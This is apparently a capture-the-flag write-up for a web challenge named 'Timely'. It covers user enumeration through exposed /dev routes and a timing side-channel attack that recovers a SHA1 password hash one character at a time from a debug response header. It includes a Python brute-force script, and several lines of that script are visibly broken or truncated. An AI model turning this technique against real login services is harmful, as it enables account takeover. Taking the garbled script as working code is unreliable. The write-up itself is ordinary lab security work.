Author: argot
Pub: 2022-11-21
502 words


I’ve been on a real City Pop binge and thought I would share one of my favorite albums.

Discord Comments: For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server. As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools.


The provided link leads to the following website.

Splash Page

The login page authenticates against the /login endpoint by POSTing the username and the SHA1 hash of the password. Logging in with an arbitrary username/password combo returns the error:

Error: You’re not a true fan :(

The website also contains a /robots.txt page revealing a /dev route which further revels /dev/users and /dev/hostname. The /dev/users route returns the following list:

ahrifan111 (Disabled)
anri (Active)
admin (Disabled)
develop (Disabled)

Attempting to login with the anri username returns a different error message.

Username Disclosure

Brute Force

Considering the extra discord hint, a small password list was generated with common typos (n for h as per the username typo) and words associated with the band listed. During initial brute forcing, it was noted that a non-standard HTTP header (debug_lag_fix) was included in concurrent responses.


Since the SHA1 hash is passed from the client, it takes a potentially infinite spray space to a finite (albeit large) one, is probably intended as part of the challenge. However, 16^40 possible hashes is obviously beyond brute forcing.

The name of the challenge and the fact that timing data is sent during brute force, 16 hashes containining a single hex character is sent. It’s noted that one request is roughly +100ns more than the other.

Timing Difference

Using the character in the nth position with the +100ns delay, the hash can be reconstructed one character at a time.

Timing Difference Two


A automated script is written that generates 16 potential hashes to identify the hex value in each position. This process is repeated for each of the 40 positions.

import requests

#prep for requests
url = ''
headers = {'Content-Type':'application/json'}

#dict to collect ns timings per cycle
hashChar = {'a':'','b':'','c':'','d':'','e':'','f':'', \

#Tolerance for ns timing
nsTol = 50
hashLen = 40

flag = ''

realHash = ''
hashGuesses = []

#make init request to "trigger" lag header
r = requests.Session(), headers=headers, json={"username":"anri", "password":"testing"}, verify=False)

#loop for the solution
while(len(realHash) < hashLen):

    #generate guess hashes:
    for c in hashChar.keys():

    #run a guess cycle
    for hashGuess in hashGuesses:
        data = {"username":"anri", "password":hashGuess}, headers=headers, json=data, verify=False)
        req =, headers=headers, json=data, verify=False)

        if(req.status_code == 200):
            flag = req.text
            print('[+] Flag Found! %s' % req.text)
            #populate timings into dictionary
            key = hashGuess[len(realHash)]
            hashChar[key] = int(req.headers['Debug-Lag-Fix'].replace('ns',''))

    #identify next hashChar via timing and append to realHash
    for key,value in hashChar.items():
        if (value > (len(realHash)*100+nsTol)):
            print('[+] %d hash character found: %s' % (len(realHash)+1, key))
            realHash = realHash + key

    #reset guess list

Running the script, the flag is obtained: